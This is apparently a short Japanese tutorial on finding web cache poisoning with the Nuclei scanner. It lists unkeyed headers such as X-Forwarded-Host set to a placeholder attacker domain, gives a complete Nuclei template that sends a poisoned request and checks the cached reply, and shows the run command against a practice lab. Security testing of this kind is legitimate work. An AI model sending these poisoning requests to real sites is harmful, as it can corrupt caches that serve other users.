Hello there, ('ω')ノ
Nucleiを使用したキャッシュポイズニング
nucleiを使用して、Webアプリケーションの。
キャッシュポイズニングの脆弱性を発見するには。
次のような一般的なキーなし入力ヘッダを使用する必要があって。
X-Forwarded-Prefix: cache.my_evil_dns.com
X-Forwarded-Host: cache.my_evil_dns.com
X-Forwarded-For: cache.my_evil_dns.com
X-Originating-IP: cache.my_evil_dns.com
X-Remote-IP: cache.my_evil_dns.com
X-Remote-Addr: cache.my_evil_dns.com
X-Client-IP: cache.my_evil_dns.com
キャッシュポイズニングの脆弱性をトリガするには。
次の2つのリクエストが必要で。
1.サーバがポイゾニングされた応答をキャッシュ
2.サーバからポイゾニングされた応答を取得
このシナリオを実行するために。
以下に示すようにnucleiテンプレートを作成して。
id: cache-poisoning
info:
name: HTTP Cache Poisoning
author: sirpedrotavares / seguranca-informatica.pt
severity: medium
requests:
- raw:
- |
GET /?evil=007 HTTP/1.1
X-Forwarded-Prefix: cache.my.evil.dns.com
X-Forwarded-Host: cache.my.evil.dns.com
X-Forwarded-For: cache.my.evil.dns.com
X-Originating-IP: cache.my.evil.dns.com
X-Remote-IP: cache.my.evil.dns.com
X-Remote-Addr: cache.my.evil.dns.com
X-Client-IP: cache.my.evil.dns.com
- |
GET /?evil=007 HTTP/1.1
req-condition: true
matchers:
- type: dsl
dsl:
- 'contains(body_2, "cache.my.evil.dns.com") == true'
このテンプレートは、下記のPortSwiggerLabを使用してテストできて。
下記を実行して、取得に成功して。
.\nuclei.exe -u target_url -t .\nuclei-templates-master\sirpedrotavares\cache-poisoning.yaml
Best regards, (^^ゞ